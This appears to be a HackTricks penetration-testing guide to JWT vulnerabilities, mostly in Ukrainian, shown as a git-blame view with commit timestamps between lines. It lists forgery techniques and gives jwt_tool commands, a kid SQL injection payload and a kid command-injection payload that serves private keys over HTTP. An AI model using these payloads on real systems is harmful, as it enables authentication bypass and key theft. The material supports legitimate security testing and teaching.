hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

283 lines
25 KiB
Markdown
Raw Normal View History

# JWT Вразливості (Json Web Tokens)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Підтримайте HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
**Частина цього посту базується на чудовому пості:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Автор чудового інструменту для тестування JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
2024-03-29 18:49:46 +00:00
### **Швидкі перемоги**
Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте на зелені рядки.
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2024-03-29 18:49:46 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Якщо вам пощастить, інструмент знайде випадок, коли веб-додаток неправильно перевіряє JWT:
![](<../.gitbook/assets/image (935).png>)
Тоді ви можете знайти запит у вашому проксі або вивантажити використаний JWT для цього запиту за допомогою jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
Ви також можете використовувати [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) для запуску атак JWT з Burp.
### Змінюйте дані, не модифікуючи нічого
Ви можете просто змінити дані, залишаючи підпис без змін, і перевірити, чи сервер перевіряє підпис. Спробуйте змінити своє ім'я користувача на "admin", наприклад.
2024-03-29 18:49:46 +00:00
#### **Чи перевіряється токен?**
Щоб перевірити, чи підпис JWT перевіряється:
* Повідомлення про помилку вказує на те, що триває перевірка; чутливі деталі у детальних помилках слід переглянути.
2024-03-29 18:49:46 +00:00
* Зміна на повернутій сторінці також вказує на перевірку.
* Відсутність змін вказує на відсутність перевірки; це момент для експериментів із зміною навантаження.
2024-02-05 02:28:59 +00:00
2024-03-29 18:49:46 +00:00
### Походження
Важливо визначити, чи токен був згенерований на стороні сервера чи клієнта, перевіривши історію запитів проксі.
* Токени, вперше побачені з боку клієнта, вказують на те, що ключ може бути відкритий для коду на стороні клієнта, що потребує подальшого розслідування.
* Токени, що походять з боку сервера, вказують на безпечний процес.
2024-03-29 18:49:46 +00:00
### Тривалість
2024-03-29 18:49:46 +00:00
Перевірте, чи токен діє більше 24 годин... можливо, він ніколи не закінчується. Якщо є поле "exp", перевірте, чи сервер правильно його обробляє.
### Брутфорс HMAC секрету
[**Дивіться цю сторінку.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Змінити алгоритм на None
Встановіть використовуваний алгоритм як "None" і видаліть частину підпису.
Використовуйте розширення Burp під назвою "JSON Web Token", щоб спробувати цю вразливість і змінити різні значення всередині JWT (надішліть запит до Repeater, і на вкладці "JSON Web Token" ви можете змінити значення токена. Ви також можете вибрати, щоб встановити значення поля "Alg" на "None").
### Змінити алгоритм RS256(асиметричний) на HS256(симетричний) (CVE-2016-5431/CVE-2016-10555)
2024-03-29 18:49:46 +00:00
Алгоритм HS256 використовує секретний ключ для підпису та перевірки кожного повідомлення.\
Алгоритм RS256 використовує приватний ключ для підпису повідомлення та використовує публічний ключ для аутентифікації.
Якщо ви зміните алгоритм з RS256 на HS256, код на бекенді використовує публічний ключ як секретний ключ, а потім використовує алгоритм HS256 для перевірки підпису.
Тоді, використовуючи публічний ключ і змінюючи RS256 на HS256, ми могли б створити дійсний підпис. Ви можете отримати сертифікат веб-сервера, виконавши це:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Новий публічний ключ у заголовку
Зловмисник вбудовує новий ключ у заголовок токена, і сервер використовує цей новий ключ для перевірки підпису (CVE-2018-0114).
Це можна зробити за допомогою розширення "JSON Web Tokens" для Burp.\
(Відправте запит до Repeater, у вкладці JSON Web Token виберіть "CVE-2018-0114" і надішліть запит).
### JWKS Спуфінг
Інструкції детально описують метод оцінки безпеки JWT токенів, зокрема тих, що використовують заяву заголовка "jku". Ця заява повинна посилатися на файл JWKS (JSON Web Key Set), який містить публічний ключ, необхідний для перевірки токена.
2024-02-05 02:28:59 +00:00
2024-03-29 18:49:46 +00:00
* **Оцінка токенів з заголовком "jku"**:
* Перевірте URL заяви "jku", щоб переконатися, що він веде до відповідного файлу JWKS.
* Змініть значення "jku" токена, щоб направити його на контрольовану веб-службу, що дозволяє спостерігати за трафіком.
* **Моніторинг HTTP-взаємодії**:
* Спостереження за HTTP-запитами до вашого вказаного URL вказує на спроби сервера отримати ключі з наданого вами посилання.
* При використанні `jwt_tool` для цього процесу важливо оновити файл `jwtconf.ini` з вашим особистим розташуванням JWKS для полегшення тестування.
2024-03-29 18:49:46 +00:00
* **Команда для `jwt_tool`**:
* Виконайте наступну команду, щоб змоделювати сценарій з `jwt_tool`:
2024-03-29 18:49:46 +00:00
```bash
python3 jwt_tool.py JWT_HERE -X s
```
2024-03-29 18:49:46 +00:00
### Огляд проблем з Kid
Додаткова заява заголовка, відома як `kid`, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця заява допомагає вибрати відповідний ключ для перевірки підпису токена.
#### Виявлення ключа через "kid"
Коли заява `kid` присутня в заголовку, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сайту.
2024-02-05 02:28:59 +00:00
#### Перехід по шляху з "kid"
Заява `kid` також може бути використана для навігації по файловій системі, що потенційно дозволяє вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
2020-12-03 10:09:49 +00:00
#### SQL Injection via "kid"
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
2024-02-05 02:28:59 +00:00
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
#### OS Injection through "kid"
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
2024-02-05 02:28:59 +00:00
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u and jku
2022-05-01 13:25:53 +00:00
#### jku
jku stands for **JWK Set URL**.\
If the token uses a “**jku**” **Header** claim then **перевірте надане URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними публічними та приватними ключами та вказати параметр jku на створений сертифікат.** Щоб створити дійсний сертифікат jku, ви можете завантажити оригінальний і змінити необхідні параметри.
Ви можете отримати параметри "e" та "n" з публічного сертифіката, використовуючи:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у формі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати кожен підписує попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **можете підробити JWT**.
Щоб підробити новий токен, використовуючи сертифікат, контрольований вами, вам потрібно створити сертифікат і витягти публічні та приватні ключі:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Тоді ви можете використовувати, наприклад, [**jwt.io**](https://jwt.io), щоб створити новий JWT з **створеними відкритими та закритими ключами та вказати параметр x5u на сертифікат .crt, що був створений.**
![](<../.gitbook/assets/image (956).png>)
Ви також можете зловживати обома цими вразливостями **для SSRFs**.
2022-05-01 13:25:53 +00:00
#### x5c
Цей параметр може містити **сертифікат у base64**:
![](<../.gitbook/assets/image (1119).png>)
Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний закритий ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, тоді, по суті, підроблений токен буде прийнятий сервером.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
2024-03-29 18:49:46 +00:00
### Вбудований відкритий ключ (CVE-2018-0114)
Якщо JWT має вбудований відкритий ключ, як у наступному сценарії:
![](<../.gitbook/assets/image (624).png>)
Використовуючи наступний скрипт nodejs, можна згенерувати відкритий ключ з цих даних:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Можливо згенерувати новий приватний/публічний ключ, вбудувати новий публічний ключ всередину токена і використовувати його для генерації нового підпису:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Ви можете отримати "n" та "e", використовуючи цей скрипт nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Нарешті, використовуючи публічний та приватний ключі та нові значення "n" і "e", ви можете використовувати [jwt.io](https://jwt.io), щоб підробити новий дійсний JWT з будь-якою інформацією.
### ES256: Виявлення приватного ключа з однаковим nonce
Якщо деякі програми використовують ES256 і використовують однаковий nonce для генерації двох jwt, приватний ключ може бути відновлений.
Ось приклад: [ECDSA: Виявлення приватного ключа, якщо використано однаковий nonce (з SECP256k1)](https://asecuritysite.com/encryption/ecd5)
2022-05-01 13:25:53 +00:00
### JTI (JWT ID)
Заява JTI (JWT ID) надає унікальний ідентифікатор для токена JWT. Його можна використовувати, щоб запобігти повторному використанню токена.\
Однак уявіть ситуацію, коли максимальна довжина ID становить 4 (0001-9999). Запити 0001 і 10001 будуть використовувати однаковий ID. Тому, якщо бекенд збільшує ID з кожним запитом, ви могли б зловживати цим, щоб **повторити запит** (потрібно надіслати 10000 запитів між кожним успішним повтором).
### Зареєстровані заяви JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2024-03-29 18:49:46 +00:00
### Інші атаки
2024-02-05 02:28:59 +00:00
**Атаки перехресного реле**
2024-02-05 02:28:59 +00:00
Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовано випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи те саме ім'я користувача/електронну пошту. Потім слід спробувати повторити отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий.
2024-02-05 02:28:59 +00:00
* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробити обліковий запис будь-якого користувача. Однак слід зазначити, що може знадобитися дозвіл на більш широке тестування, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
2024-02-05 02:28:59 +00:00
2024-03-29 18:49:46 +00:00
**Перевірка терміну дії токенів**
2024-02-05 02:28:59 +00:00
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. Рекомендації JWT RFC пропонують зменшити атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Вміст токена, включаючи парсинг мітки часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
2024-02-05 02:28:59 +00:00
2024-03-29 18:49:46 +00:00
* Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися.
2024-02-05 02:28:59 +00:00
2024-03-29 18:49:46 +00:00
### Інструменти
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та в тому, щоб зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Підтримати HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}